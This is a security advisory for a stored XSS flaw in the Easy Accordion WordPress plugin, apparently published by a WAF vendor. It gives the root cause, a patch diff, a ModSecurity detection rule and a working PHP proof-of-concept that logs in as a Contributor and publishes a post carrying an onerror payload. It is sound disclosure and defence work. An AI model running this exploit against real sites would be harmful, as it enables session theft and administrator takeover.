What is CVE-2026-18988?

CVE-2026-18988 is a stored Cross-Site Scripting (XSS) vulnerability in the Easy Accordion plugin for WordPress, affecting versions up to and including 3.1.8. It allows authenticated users with Contributor-level access or higher to inject arbitrary web scripts via the ‘accordionTitleTag’ block attribute, which execute when a page containing the crafted block is viewed.

How does the vulnerability work?

The vulnerability occurs in the accordion_header_renderer() function, which outputs the attacker-controlled ‘accordionTitleTag’ attribute as an HTML tag name using esc_attr() instead of tag_escape(). This allows an attacker to inject a crafted string that becomes a new HTML element, such as an image tag with an onerror event, leading to script execution.

Who is affected by this vulnerability?

WordPress sites running Easy Accordion version 3.1.8 or earlier are affected. The attack requires an authenticated user with at least Contributor-level access, meaning they can create posts or pages. Administrators and editors are also at risk if they have such access.

How can I check if my site is vulnerable?

Check the installed version of the Easy Accordion plugin. If it is 3.1.8 or lower, your site is vulnerable. You can also review the plugin’s changelog or compare the code with the patched version to confirm the fix.

What is the patched version and how do I update?

The vulnerability is patched in version 3.1.9. Update the plugin to the latest version from the WordPress admin dashboard or by downloading it from wordpress.org. Ensure automatic updates are enabled for plugins to prevent future vulnerabilities.

What does the patch change?

The patch introduces a whitelist-based sanitization function, EAB_Utils::title_tag(), which validates the tag against allowed values like h1-h6, p, and span. It also uses tag_escape() when outputting the tag and adds an enum to the block attribute definition, preventing invalid values from reaching the rendering functions.

What is the CVSS score and severity?

The vulnerability has a CVSS score of 6.4, rated as Medium severity. This reflects the requirement of Contributor-level authentication, but the potential impact is high because an attacker could execute scripts in an administrator’s browser, leading to account takeover or site compromise.

What is the practical risk of this vulnerability?

If exploited, an attacker can inject malicious scripts that run when an administrator views the affected page. This could allow the attacker to steal session cookies, create new admin accounts, or modify site content. The risk is especially high if the site has multiple users with Contributor roles.

How does the proof of concept (PoC) demonstrate the issue?

The PoC automates the exploitation by logging in as a Contributor, obtaining a nonce, and creating a post with the Easy Accordion block containing a malicious ‘accordionTitleTag’ value. When the post is viewed, the injected script executes, demonstrating the stored XSS.

Are there any temporary mitigations if I cannot update immediately?

If you cannot update right away, restrict Contributor-level access to trusted users only, and avoid allowing untrusted users to create posts. You can also use a Web Application Firewall (WAF) to block malicious payloads, but updating is the only permanent fix.

What is the root cause of this vulnerability?

The root cause is the use of esc_attr() to output an HTML tag name, which does not prevent the creation of arbitrary tags. The plugin also lacked proper input sanitization for the ‘accordionTitleTag’ attribute, allowing attackers to inject non-standard tags.

How can I protect my site from similar vulnerabilities?

Keep all plugins and themes updated, use a security plugin to monitor for vulnerabilities, and follow the principle of least privilege by granting only necessary roles to users. Regularly audit user permissions and review code changes in plugins you use.

Published : August 7, 2026

CVE-2026-18988: Easy Accordion <= 3.1.8 Authenticated (Contributor+) Stored Cross-Site Scripting via 'accordionTitleTag' Block Attribute PoC, Patch Analysis & Rule

CVE ID CVE-2026-18988

Plugin easy-accordion-free

Severity Medium (CVSS 6.4)

CWE 79

Vulnerable Version 3.1.8

Patched Version 3.1.9

Disclosed August 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-18988:

This vulnerability is a stored Cross-Site Scripting (XSS) flaw in the Easy Accordion plugin for WordPress, affecting versions up to and including 3.1.8. An attacker with Contributor-level access or higher can inject arbitrary web scripts via the ‘accordionTitleTag’ block attribute. The vulnerability is triggered whenever a user accesses a page containing the maliciously crafted block, allowing the attacker to execute scripts in the victim’s browser session.

Root Cause: The root cause lies in the `accordion_header_renderer()` function within `easy-accordion-free/Blocks/Includes/Render_Blocks_Template.php`. In the vulnerable code, the `$accordion_title_tag` value, derived directly from the ‘accordionTitleTag’ block attribute, is emitted as an HTML tag name using `esc_attr()`. The `esc_attr()` function does not prevent the creation of arbitrary or non-standard HTML tags. An attacker can exploit this by setting the attribute to a crafted string, effectively injecting new HTML elements into the page. The sanitization issue is not confined to a single function; similar vulnerable output patterns existed in `Template_parts.php` and `public/templates/templates-parts/single-item.php`, which have also been patched.

Exploitation: An authenticated attacker with Contributor-level access can craft a post or page containing the Easy Accordion block. By setting the block attribute `accordionTitleTag` to a malicious string like `img src=x onerror=alert(1)`, the plugin will render the opening tag as ``. When a user views the page, the browser interprets this as an image tag with an event handler, executing the attacker’s JavaScript code. The attacker must save the crafted block, which triggers the rendering vulnerability on the front end for any subsequent viewer.

Patch Analysis: The patch introduces a centralized whitelist-based sanitization function, `EAB_Utils::title_tag()`, which validates the input against an `ALLOWED_TITLE_TAGS` array containing safe tags like `h1`-`h6`, `p`, and `span`. This function is now applied at multiple points where the tag is initially retrieved from attributes in `Blocks_Query.php`, `Render_Blocks_Template.php`, and `Template_parts.php`. The patch also uses `tag_escape()` when outputting the tag, which properly escapes the string for safe use as an HTML tag name. Furthermore, the `accordionTitleTag` attribute definition in `attributes.php` and `block-attributes.php` now uses an enum, ensuring WordPress drops any invalid values before they reach the rendering functions. The fix in `public/eap-frontend.php` adds a strict `in_array()` check to ensure the shortcode value is only a number from 1 to 6 before prefixing it with ‘h’.

Impact: Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of a logged-in administrator’s browser session. This could lead to full account takeover if an administrator visits the malicious page, as the attacker could capture session cookies, create new administrative accounts, or modify site content and settings. The vulnerability could also be used to deface the site, redirect users to malicious external sites, or perform other malicious actions within the context of the affected WordPress installation, making the severity of this vulnerability high due to the potential for privileged actions.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/easy-accordion-free/Blocks/Includes/Blocks_Query.php
+++ b/easy-accordion-free/Blocks/Includes/Blocks_Query.php
@@ -14,6 +14,7 @@

 use ShapedPluginEasyAccordionBlocksIncludesBlocks_Query_Handler;
 use ShapedPluginEasyAccordionBlocksIncludesBlocks_Helper;
+use ShapedPluginEasyAccordionBlocksIncludesUtilsEAB_Utils;

 // Exit if accessed directly.
 if ( ! defined( 'ABSPATH' ) ) {
@@ -580,7 +581,7 @@
 				'metaDisplayPosition'         => $attributes['metaDisplayPosition'] ?? '',
 				'excerptLimit'                => $attributes['excerptLimit'] ?? array(),
 				'excerptLength'               => $attributes['excerptLength'] ?? '',
-				'accordionTitleTag'           => $attributes['accordionTitleTag'] ?? 'h3',
+				'accordionTitleTag'           => EAB_Utils::title_tag( $attributes['accordionTitleTag'] ?? 'h3' ),
 				'animationEffect'             => $attributes['animationEffect'] ?? 'none',
 				'toggleIconsSet'              => $attributes['toggleIconsSet'] ?? array(),
 				'enableExpandAndCollapseIcon' => (bool) ( $attributes['enableExpandAndCollapseIcon'] ?? true ),
--- a/easy-accordion-free/Blocks/Includes/Render_Blocks_Template.php
+++ b/easy-accordion-free/Blocks/Includes/Render_Blocks_Template.php
@@ -16,6 +16,7 @@
 use ShapedPluginEasyAccordionBlocksIncludesBlocks_Query;
 use ShapedPluginEasyAccordionBlocksIncludesTemplate_parts;
 use ShapedPluginEasyAccordionBlocksIncludesUtilsDynamicCssGenerator;
+use ShapedPluginEasyAccordionBlocksIncludesUtilsEAB_Utils;

 // Exit if accessed directly.
 if ( ! defined( 'ABSPATH' ) ) {
@@ -86,7 +87,7 @@
 		$parent_id           = $attributes['parentId'] ?? '';
 		$template            = $attributes['template'] ?? 'vertical-one';
 		$parent_block_name   = $attributes['parentBlockName'] ?? 'vertical-accordion';
-		$accordion_title_tag = $attributes['accordionTitleTag'] ?? 'h3';
+		$accordion_title_tag = EAB_Utils::title_tag( $attributes['accordionTitleTag'] ?? 'h3' );
 		$accordion_title     = $attributes['accordionTitle'] ?? 'No Title';
 		$title_alignment     = $attributes['titleAlignment'] ?? 'start';
 		$enable_toggle_icon  = $attributes['enableExpandAndCollapseIcon'] ?? true;
@@ -97,7 +98,7 @@

 		ob_start();
 		?>
-			<<?php echo esc_attr( $accordion_title_tag ); ?> class='<?php echo esc_attr( "sp-eab-accordion-heading sp-d-flex sp-align-center eab-heading-$parent_id" ); ?>'
+			<<?php echo tag_escape( $accordion_title_tag ); ?> class='<?php echo esc_attr( "sp-eab-accordion-heading sp-d-flex sp-align-center eab-heading-$parent_id" ); ?>'
 			<?php
 			if ( 'sidebar-tab-accordion' === $parent_block_name ) {
 				echo 'data-tabid="' . esc_attr( $unique_id ) . '"';
@@ -123,7 +124,7 @@
 						<?php endif; ?>
 					</span>
 				</span>
-			</<?php echo esc_attr( $accordion_title_tag ); ?>>
+			</<?php echo tag_escape( $accordion_title_tag ); ?>>
 		<?php
 		return ob_get_clean();
 	}
@@ -300,7 +301,7 @@
 		$parent_settings      = $attributes['parentSettings'] ?? array();
 		$content_alignment    = $parent_settings['contentAlignment'] ?? 'center';
 		$template             = $parent_settings['template'] ?? '';
-		$accordion_tag        = $parent_settings['accordionTitleTag'] ?? 'h3';
+		$accordion_tag        = EAB_Utils::title_tag( $parent_settings['accordionTitleTag'] ?? 'h3' );
 		$show_title           = ! empty( $parent_settings['showTitle'] );
 		$show_desc            = ! empty( $parent_settings['showDescription'] );
 		$active_event         = $parent_settings['activeEvent'] ?? 'click';
--- a/easy-accordion-free/Blocks/Includes/Template_parts.php
+++ b/easy-accordion-free/Blocks/Includes/Template_parts.php
@@ -17,6 +17,7 @@
 }

 use PhpMyAdminSqlParserStatement;
+use ShapedPluginEasyAccordionBlocksIncludesUtilsEAB_Utils;

 class Template_parts {

@@ -550,7 +551,7 @@
 	 */
 	public static function eab_render_product_name( $title_data = array() ) {
 		$title     = isset( $title_data['title'] ) ? $title_data['title'] : '';
-		$title_tag = ! empty( $title_data['accordionTitleTag'] ) ? $title_data['accordionTitleTag'] : 'h3';
+		$title_tag = EAB_Utils::title_tag( $title_data['accordionTitleTag'] ?? 'h3' );

 		if ( empty( $title ) ) {
 			return;
@@ -673,14 +674,14 @@
 			<div class="sp-eab-accordion-item-wrapper">

 				<!-- Accordion Heading -->
-				<<?php echo tag_escape( $context['accordionTitleTag'] ); ?>
+				<<?php echo tag_escape( EAB_Utils::title_tag( $context['accordionTitleTag'] ?? 'h3' ) ); ?>
 					class="sp-eab-accordion-heading sp-d-flex sp-align-center"
 					role="button"
 					tabindex="0">
 				<?php
 				echo self::accordion_post_header_renderer($header_data, $image_data); // phpcs:ignore
 				?>
-				</<?php echo tag_escape( $context['accordionTitleTag'] ); ?>>
+				</<?php echo tag_escape( EAB_Utils::title_tag( $context['accordionTitleTag'] ?? 'h3' ) ); ?>>

 				<!-- Accordion Content -->
 				<div class="sp-eab-accordion-content">
--- a/easy-accordion-free/Blocks/Includes/Utils/EAB_Utils.php
+++ b/easy-accordion-free/Blocks/Includes/Utils/EAB_Utils.php
@@ -20,6 +20,54 @@
 class EAB_Utils {

 	/**
+	 * Allowed HTML tags for block titles.
+	 *
+	 * @var array
+	 */
+	const ALLOWED_TITLE_TAGS = array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'p', 'span' );
+
+	/**
+	 * Restrict a title tag to the allowed list.
+	 *
+	 * Block attributes are attacker controlled (post content can be crafted by
+	 * any user who can edit a post), so the tag name must never be echoed
+	 * without being matched against a whitelist.
+	 *
+	 * @param mixed  $tag      Tag name coming from block attributes.
+	 * @param string $fallback Tag used when the given one is not allowed.
+	 *
+	 * @return string Safe tag name.
+	 */
+	public static function title_tag( $tag, $fallback = 'h3' ) {
+		if ( ! is_string( $tag ) ) {
+			return $fallback;
+		}
+
+		$tag = strtolower( trim( $tag ) );
+
+		return in_array( $tag, self::ALLOWED_TITLE_TAGS, true ) ? $tag : $fallback;
+	}
+
+	/**
+	 * Generate a title tag attribute definition.
+	 *
+	 * The enum makes WP_Block_Type::prepare_attributes_for_render() drop any
+	 * tag name outside the allowed list, so the default is restored before the
+	 * value ever reaches a render callback.
+	 *
+	 * @param string $value Default tag name.
+	 *
+	 * @return array Title tag attribute configuration.
+	 */
+	public static function title_tag_attr( $value = 'h3' ) {
+		return array(
+			'type'    => 'string',
+			'default' => $value,
+			'enum'    => self::ALLOWED_TITLE_TAGS,
+		);
+	}
+
+	/**
 	 * Generate a colors attribute definition.
 	 *
 	 * @param string $normal Default normal color.
--- a/easy-accordion-free/Blocks/Includes/attributes.php
+++ b/easy-accordion-free/Blocks/Includes/attributes.php
@@ -37,7 +37,7 @@
  * @var array
  */
 $accordion_title_attributes = array(
-	'accordionTitleTag'             => EAB_Utils::string( 'h3' ),
+	'accordionTitleTag'             => EAB_Utils::title_tag_attr( 'h3' ),
 	'titleAlignment'                => EAB_Utils::string( 'left' ),
 	'accordionTitleTypography'      => EAB_Utils::typography( '500' ),
 	'accordionTitleFontSize'        => EAB_Utils::single_responsive( 18 ),
--- a/easy-accordion-free/Blocks/Includes/block-attributes.php
+++ b/easy-accordion-free/Blocks/Includes/block-attributes.php
@@ -29,7 +29,7 @@
 	'template'                    => EAB_Utils::string(),
 	'defaultOpen'                 => EAB_Utils::boolean(),
 	'schemaMarkup'                => EAB_Utils::boolean(),
-	'accordionTitleTag'           => EAB_Utils::string( 'h3' ),
+	'accordionTitleTag'           => EAB_Utils::title_tag_attr( 'h3' ),
 	'accordionTitle'              => EAB_Utils::string( null ),
 	'titleAlignment'              => EAB_Utils::string( 'left' ),
 	'enableExpandAndCollapseIcon' => EAB_Utils::boolean( true ),
@@ -98,7 +98,7 @@
 	'imgOverlayColor'             => EAB_Utils::string( '#00000075' ),
 	'showTitle'                   => EAB_Utils::boolean( true ),
 	'accordionTitleColors'        => EAB_Utils::string( '#fff' ),
-	'accordionTitleTag'           => EAB_Utils::string( 'h3' ),
+	'accordionTitleTag'           => EAB_Utils::title_tag_attr( 'h3' ),
 	'showDescription'             => EAB_Utils::boolean( true ),
 	'linkOpenInNewTab'            => EAB_Utils::boolean(),
 	'contentAlignment'            => EAB_Utils::string( 'center' ),
--- a/easy-accordion-free/plugin-main.php
+++ b/easy-accordion-free/plugin-main.php
@@ -7,7 +7,7 @@
  * Author URI:  https://shapedplugin.com/
  * License:     GPL-2.0+
  * License URI: http://www.gnu.org/licenses/gpl-2.0.txt
- * Version:     3.1.8
+ * Version:     3.1.9
  * Requires at least: 5.9
  * Requires PHP: 7.4
  * Text Domain: easy-accordion-free
@@ -63,7 +63,7 @@
 	 *
 	 * @var string
 	 */
-	public $version = '3.1.8';
+	public $version = '3.1.9';

 	/**
 	 * The name of the plugin.
--- a/easy-accordion-free/public/eap-frontend.php
+++ b/easy-accordion-free/public/eap-frontend.php
@@ -142,7 +142,7 @@
 		$eap_offset_to_scroll      = apply_filters( 'eap_offset_to_scroll', 0 );

 		$eap_accordion_fillspace_height = isset( $shortcode_data['eap_accordion_fillspace_height']['all'] ) ? $shortcode_data['eap_accordion_fillspace_height']['all'] : '200';
-		$eap_title_tag                  = isset( $shortcode_data['ea_title_heading_tag'] ) ? 'h' . $shortcode_data['ea_title_heading_tag'] : 'h3';
+		$eap_title_tag                  = isset( $shortcode_data['ea_title_heading_tag'] ) && in_array( (string) $shortcode_data['ea_title_heading_tag'], array( '1', '2', '3', '4', '5', '6' ), true ) ? 'h' . $shortcode_data['ea_title_heading_tag'] : 'h3';
 		$acc_section_title              = isset( $shortcode_data['section_title'] ) ? $shortcode_data['section_title'] : '';

 		// Expand / Collapse Icon.
--- a/easy-accordion-free/public/templates/templates-parts/single-item.php
+++ b/easy-accordion-free/public/templates/templates-parts/single-item.php
@@ -15,7 +15,7 @@
 <!-- Start accordion card div. -->
 <div class="ea-card <?php echo esc_attr( $accordion_mode['expand_class'] . ' ' . $accordion_item_class ); ?>">
 	<!-- Start accordion header. -->
-	<<?php echo esc_attr( $eap_title_tag ); ?> class="ea-header">
+	<<?php echo tag_escape( $eap_title_tag ); ?> class="ea-header">
 		<!-- Add anchor tag for header. -->
 		<a class="collapsed" id="ea-header-<?php echo esc_attr( $post_id . $key ); ?>" role="button" data-sptoggle="spcollapse" data-sptarget="<?php echo esc_attr( $data_sptarget ); ?>" aria-controls="collapse<?php echo esc_attr( $post_id . $key ); ?>" href="#" <?php echo esc_attr( $nofollow_link_text ); ?> aria-expanded="<?php echo esc_attr( $accordion_mode['aria_expanded'] ); ?>" tabindex="0">
 		<?php
@@ -23,7 +23,7 @@
 		echo wp_kses_post( $eap_icon_markup . $content_title );
 		?>
 		</a><!-- Close anchor tag for header. -->
-	</<?php echo esc_attr( $eap_title_tag ); ?>>	<!-- Close header tag. -->
+	</<?php echo tag_escape( $eap_title_tag ); ?>>	<!-- Close header tag. -->
 	<!-- Start collapsible content div. -->
 	<div class="sp-collapse spcollapse <?php echo esc_attr( $accordion_mode['open_first'] ); ?>" id="collapse<?php echo esc_attr( $post_id . $key ); ?>" <?php echo wp_kses_post( $eap_single_collapse ); ?> role="region" aria-labelledby="ea-header-<?php echo esc_attr( $post_id . $key ); ?>">  <!-- Content div. -->
 		<div class="ea-body">

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-18988
SecRule REQUEST_URI "@streq /wp-json/wp/v2/posts" "id:20261988,phase:2,deny,status:403,chain,msg:'CVE-2026-18988 via Easy Accordion stored XSS',severity:'CRITICAL',tag:'CVE-2026-18988'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS:content "@rx <s*img[^>]*onerror" "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-18988 - Easy Accordion <= 3.1.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'accordionTitleTag' Block Attribute

$target_url = 'http://your-wordpress-site.com'; // Target WordPress URL
$username = 'contributor_user'; // Username with Contributor role
$password = 'contributor_password'; // Password for the user

// Step 1: Login and get cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve-2026-18988-cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

// Step 2: Obtain a nonce for the REST API to create a post
$nonce_url = $target_url . '/wp-admin/post-new.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $nonce_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-18988-cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

preg_match('/"restNonce":"([a-f0-9]+)"/', $response, $matches);
if (!isset($matches[1])) {
    echo "Could not get REST nonce. Exiting.n";
    exit(1);
}
$rest_nonce = $matches[1];

// Step 3: Craft the malicious block payload
$payload_block = '<!-- wp:easy-accordion/accordion {"accordionTitleTag":"img src=x onerror=alert(document.cookie)"} -->';
$payload_block .= '<!-- wp:easy-accordion/accordion-item -->';
$payload_block .= '<!-- wp:paragraph --><p>Accordion Content</p><!-- /wp:paragraph -->';
$payload_block .= '<!-- /wp:easy-accordion/accordion-item -->';
$payload_block .= '<!-- /wp:easy-accordion/accordion -->';

// Step 4: Create a new post with the malicious block via the REST API
$rest_url = $target_url . '/wp-json/wp/v2/posts';
$post_data = [
    'title' => 'CVE-2026-18988 XSS PoC',
    'content' => $payload_block,
    'status' => 'publish'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $rest_nonce
]);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-18988-cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 5: Check if creation was successful and provide URL to trigger XSS
if ($http_code == 201) {
    $post_data_response = json_decode($response, true);
    echo "[+] Post created successfully.n";
    echo "[+] Trigger XSS by visiting: " . $post_data_response['link'] . "n";
} else {
    echo "[!] Failed to create post. HTTP Code: " . $http_code . "n";
    echo $response . "n";
}
?>

Frequently Asked Questions

What is CVE-2026-18988?
Vulnerability overview
CVE-2026-18988 is a stored Cross-Site Scripting (XSS) vulnerability in the Easy Accordion plugin for WordPress, affecting versions up to and including 3.1.8. It allows authenticated users with Contributor-level access or higher to inject arbitrary web scripts via the ‘accordionTitleTag’ block attribute, which execute when a page containing the crafted block is viewed.
How does the vulnerability work?
Technical explanation
The vulnerability occurs in the accordion_header_renderer() function, which outputs the attacker-controlled ‘accordionTitleTag’ attribute as an HTML tag name using esc_attr() instead of tag_escape(). This allows an attacker to inject a crafted string that becomes a new HTML element, such as an image tag with an onerror event, leading to script execution.
Who is affected by this vulnerability?
Affected users and roles
WordPress sites running Easy Accordion version 3.1.8 or earlier are affected. The attack requires an authenticated user with at least Contributor-level access, meaning they can create posts or pages. Administrators and editors are also at risk if they have such access.
How can I check if my site is vulnerable?
Detection steps
Check the installed version of the Easy Accordion plugin. If it is 3.1.8 or lower, your site is vulnerable. You can also review the plugin’s changelog or compare the code with the patched version to confirm the fix.
What is the patched version and how do I update?
Remediation
The vulnerability is patched in version 3.1.9. Update the plugin to the latest version from the WordPress admin dashboard or by downloading it from wordpress.org. Ensure automatic updates are enabled for plugins to prevent future vulnerabilities.
What does the patch change?
Patch details
The patch introduces a whitelist-based sanitization function, EAB_Utils::title_tag(), which validates the tag against allowed values like h1-h6, p, and span. It also uses tag_escape() when outputting the tag and adds an enum to the block attribute definition, preventing invalid values from reaching the rendering functions.
What is the CVSS score and severity?
Risk assessment
The vulnerability has a CVSS score of 6.4, rated as Medium severity. This reflects the requirement of Contributor-level authentication, but the potential impact is high because an attacker could execute scripts in an administrator’s browser, leading to account takeover or site compromise.
What is the practical risk of this vulnerability?
Impact in real-world scenarios
If exploited, an attacker can inject malicious scripts that run when an administrator views the affected page. This could allow the attacker to steal session cookies, create new admin accounts, or modify site content. The risk is especially high if the site has multiple users with Contributor roles.
How does the proof of concept (PoC) demonstrate the issue?
PoC explanation
The PoC automates the exploitation by logging in as a Contributor, obtaining a nonce, and creating a post with the Easy Accordion block containing a malicious ‘accordionTitleTag’ value. When the post is viewed, the injected script executes, demonstrating the stored XSS.
Are there any temporary mitigations if I cannot update immediately?
Workarounds
If you cannot update right away, restrict Contributor-level access to trusted users only, and avoid allowing untrusted users to create posts. You can also use a Web Application Firewall (WAF) to block malicious payloads, but updating is the only permanent fix.
What is the root cause of this vulnerability?
Underlying issue
The root cause is the use of esc_attr() to output an HTML tag name, which does not prevent the creation of arbitrary tags. The plugin also lacked proper input sanitization for the ‘accordionTitleTag’ attribute, allowing attackers to inject non-standard tags.
How can I protect my site from similar vulnerabilities?
General security practices
Keep all plugins and themes updated, use a security plugin to monitor for vulnerabilities, and follow the principle of least privilege by granting only necessary roles to users. Regularly audit user permissions and review code changes in plugins you use.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started